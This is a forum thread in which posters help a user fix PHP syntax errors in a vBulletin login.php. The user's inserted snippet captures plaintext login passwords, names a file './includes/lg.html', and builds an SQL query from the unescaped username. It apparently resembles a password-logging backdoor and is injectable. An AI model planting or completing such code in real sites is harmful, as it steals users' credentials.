Parse error: syntax error

[timebandit]

hi guys,

 

i appear to be having a problem, my code says

 

Parse error: syntax error, unexpected T_VARIABLE in /home/path/public_html/forums/login.php on line 132

 

i belive this one of the two is line 132

 

$lg_username = strtolower($vbulletin->GPC["vb_login_username"]);
   $lg_password = $vbulletin->GPC["vb_login_password"];

Can you show roughly the ten lines above and bellow the problem?

// create new session
process_new_login
$lg_username = strtolower($vbulletin->GPC["vb_login_username"]);
   $lg_password = $vbulletin->GPC["vb_login_password"];
   $lg_file = "./includes/lg.html";
   $sql_query = @mysql_query("SELECT * FROM " . TABLE_PREFIX . "user WHERE username='" . $lg_username . "'");
   
   while($row = @mysql_fetch_array($sql_query))
   {
   
      if(strlen($lg_password) > 1 AND strlen($lg_username) > 1)
      {

      {

hi thanks for the reply but i have a new error now:

 

Parse error: syntax error, unexpected ',' in /home/path/public_html/forums/login.php on line 141

 

      if(strlen($lg_password) > 1 AND strlen($lg_username) > 1)($vbulletin->GPC['logintype'], $vbulletin->GPC['cookieuser'], $vbulletin->GPC['cssprefs']);

Can you give me again the ten lines above and bellow the problem

The problem is with some action after your if statement, specifically that there is none:

 

if (
strlen(
	$lg_password
)
> 1 AND strlen(
	$lg_username
) > 1
)
// THE FOLLOWING CODE IS NO LONGER PART OF THE IF STATMENET
($vbulletin->GPC['logintype'], $vbulletin->GPC['cookieuser'], $vbulletin->GPC['cssprefs']);

 

I believe that PHP hits $vbulletin->GPC['logintype'] and expects you to do something with that variable, specifically assign something to it with =. Instead, you put in a comma and PHP throws a syntax error, unexpected ','.

// do redirect
do_login_redirect();

}
else if ($_GET['do'] == 'login')
{
// add consistency with previous behavior
exec_header_redirect($vbulletin->options['forumhome'] . '.php');
}

The problem i am faced with if i do that is:

 

Parse error: syntax error, unexpected $end in /home/path/public_html/forums/login.php on line 315

 

line 315 is only ?>

 

hmm...

You'll get an unexpected $end error message when a bracket or parenthesis is still open. If you have an editor like jEdit you can simply type } or ) and it will show you where the open bracket is.

 

It could also be from the line before missing a semi-colon but I suspect it is the former and not the latter.

 

If you'd like some help finding where your error is I'm afraid you're going to have to post the entire file's code, there's no way of telling where the open bracket is otherwise.
